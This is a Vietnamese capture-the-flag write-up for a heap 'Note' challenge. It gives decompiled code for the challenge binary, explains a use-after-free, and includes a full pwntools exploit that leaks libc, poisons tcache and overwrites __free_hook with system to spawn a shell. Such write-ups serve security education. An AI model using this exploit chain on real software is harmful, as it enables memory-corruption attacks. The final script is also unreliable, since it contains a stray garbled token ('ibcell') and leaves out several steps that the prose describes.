[WANNAGAME CHAMPIONSHIP2021] Writeup Note (pwn - Msec_root - Icefrog2000)

 #include <stdio.h>


// 0x1010289
void setup(void) {
alarm(0x3c);
setvbuf(stdin, (char *)0x0, 2, 0);
setvbuf(stdout, (char *)0x0, 2, 0);
setvbuf(stderr, (char *)0x0, 2, 0);
return;
}

// 0x1012f8
void menu(void) {
puts("1. Add note");
puts("2. Edit note");
puts("3. View note");
puts("4. Delete note");
printf("> ");
return;
}

// 0x10175c
void main(void) {
long in_FS_OFFSET;
int local_14;
undefined8 local_10;

local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
setup();
LAB_00101781:
while (1) {
menu();
__isoc99_scanf("%d", &local_14);
getchar();
if (local_14 != 4)
break;
delete_note();
}
if (local_14 < 5) {
if (local_14 == 3) {
view_note();
goto LAB_00101781;
}
if (local_14 < 4) {
if (local_14 == 1) {
add_note();
} else {
if (local_14 != 2)
goto LAB_001017fb;
edit_note();
}
goto LAB_00101781;
}
}
LAB_001017fb:
puts("Invalid choice\n");
goto LAB_00101781;
}

// 0x101697
void delete_note(void) {
long in_FS_OFFSET;
int local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Index: ");
__isoc99_scanf("%d", &local_14);
getchar();
if (((local_14 < 0) || (9 < local_14)) ||
(*(long *)(&DAT_00104060 + (long)local_14 * 8) == 0)) {
puts("Invalid index\n");
} else {
free(*(void **)(&DAT_00104060 + (long)local_14 * 8));
puts("Delete successfully\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}

// 0x1015a6
void view_note(void) {
long in_FS_OFFSET;
int local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
if (DAT_001040b0 == 0) {
puts("You can only view 1 note");
printf("Index: ");
__isoc99_scanf("%d", &local_14);
getchar();
if (((local_14 < 0) || (9 < local_14)) ||
(*(long *)(&DAT_00104060 + (long)local_14 * 8) == 0)) {
puts("Invalid index\n");
}
else {
printf("Note content: ");
puts(*(char **)(&DAT_00104060 + (long)local_14 * 8));
DAT_001040b0 = 1;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}

// 0x101344
void add_note(void) {
long in_FS_OFFSET;
int local_20;
int local_1c;
void *local_18;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = (void *)0x0;
printf("Index: ");
__isoc99_scanf("%d", &local_20);
getchar();
if (((local_20 < 0) || (9 < local_20)) ||
(*(long *)(&DAT_00104060 + (long)local_20 * 8) != 0)) {
puts("Invalid index\n");
} else {
printf("Note size: ");
__isoc99_scanf("%d", &local_1c);
getchar();
if ((local_1c < 1) || (0x68 < local_1c)) {
puts("Invalid size!\n");
} else {
local_18 = malloc((long)local_1c);
*(void **)(&DAT_00104060 + (long)local_20 * 8) = local_18;
printf("Content: ");
read(0, *(void **)(&DAT_00104060 + (long)local_20 * 8), (long)local_1c);
puts("Add successfully\n");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}

// 0x1014a8
void edit_note(void) {
size_t __nbytes;
long in_FS_OFFSET;
int local_14;
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Index: ");
__isoc99_scanf("%d", &local_14);
getchar();
if (((local_14 < 0) || (9 < local_14)) ||
(*(long *)(&DAT_00104060 + (long)local_14 * 8) == 0)) {
puts("Invalid index\n");
}
else {
printf("Content: ");
__nbytes = strlen(*(char **)(&DAT_00104060 + (long)local_14 * 8));
read(0, *(void **)(&DAT_00104060 + (long)local_14 * 8), __nbytes);
puts("Edit successfully\n");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}

 1 bài heap tình cảm, bài này mình first blood

Bài này cơ bản, đầy đủ các chức năng của 1 bài heap, lỗi cũng cơ bản luôn, UAF xảy ra ở hàm delete note. Cái khó duy nhất là nó cho view note có 1 lần, chọn view libc hay chọn view heap. Mình đã chọn view libc, heap thì dễ brute force và đoán offset hơn do các chunk gần nhau chứ main arena và __free_hook hơi xa nhau.

Do size của chunk không quá 0x68 nên cần tạo fake chunk size là 0x420 rồi free nó đưa về unsorted bin.

Nhưng khi đưa về unsorted bin thì phải để ý các chỉ số ở next chunk và prev chunk. Do lỗi bài này rất cơ bản, dễ hình dùng nên mình không giải thích kỹ

add(0, 0x68, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x31))
add(1, 0x68, b'Hello')
delete(1)
delete(0)
edit(0, b'\xf0\x76')
# debug()
add(2, 0x68, b'Hello World')
add(3, 0x68, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))

Đoạn này để lợi dùng UAF chiếm được 1 fake chunk ở đủ xa, tại fake chunk đó điền 2 cái fake khác có size là 0x20. 2 thằng này để giả vờ làm next chunk của chunk 0x420, khi free chunk 0x420 nó nhìn thấy next chunk đảm bảo các điều kiện.

Tại sao là có đoạn \xf0\x76. 0x6f0 là offset của cái fake chunk, còn số 7 là do mình đoán, nên xác suất đúng của bài này là 1/16



Trong trường hợp này là 0 chứ không phải 7



Đấy heap sẽ có dạng thế này
Tiếp theo là tạo 1 fake chunk tại địa chỉ 0x55efd54a02e0 với size 0x30


delete(1)
delete(0)
edit(0, b'\xe0\x72')
add(4, 0x68, b'Hello World')
add(5, 0x68, b'Hello World')
add(6, 0x20, b'Hello World')


Xong lại đẩy nó về tcache bin 0x30. Mục đích là để nó ở trong tcache, đang trỏ tới 1 thằng 0x30 khác, xong thay đổi size nó về 0x420 rồi free đưa nó về unsorted bin, thì tự nhiên trong tcache lại có 1 con trỏ trong unsorted bin.

delete(6)
delete(5)
delete(0)
add(7, 0x68, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x421))
delete(5)



Bây giờ view để leak libc, view xong thì edit nó về __free_hook rồi get shell


from pwn import *

# r = remote('45.122.249.68', 10007)
r = process('./note')
context.clear(os='linux', arch='x86_64', log_level='debug')
libc = ELF('./libc.so.6')
bin = ELF('./note')

def add(idx, size, content):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'Index: ', str(idx).encode())
r.sendlineafter(b'Note size: ', str(size).encode())
r.sendafter(b'Content: ', content)

def view(idx):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'Index: ', str(idx).encode())

def edit(idx, content):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'Index: ', str(idx).encode())
r.sendafter(b'Content: ', content)

def delete(idx):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'Index: ', str(idx).encode())

with open('/proc/%d/maps' % r.pid, 'r') as f:
base = int('0x' + f.read(12), 16)
log.info('Base: %#x' % base)

def debug():
gdb.attach(r, '''b*%d''' % (base + 0x179e))

add(0, 0x68, p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x31))
add(1, 0x68, b'Hello')
delete(1)
delete(0)
edit(0, b'\xf0\x76')
debug()
add(2, 0x68, b'Hello World')
add(3, 0x68, p64(0) + p64(0x21) + p64(0)*3 + p64(0x21))
delete(1)
delete(0)
edit(0, b'\xe0\x72')
add(4, 0x68, b'Hello World')
add(5, 0x68, b'Hello World')
add(6, 0x20, b'Hello World')
ibcell
view(5)
r.recvuntil(b'Note content: ')
libc.address = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
log.success('Libc base: %#x' % libc.address)
edit(5, p64(libc.symbols['__free_hook']))
add(8, 0x20, b'/bin/sh\x00')
add(9, 0x20, p64(libc.symbols['system']))
delete(8)
r.interactive()

Nhận xét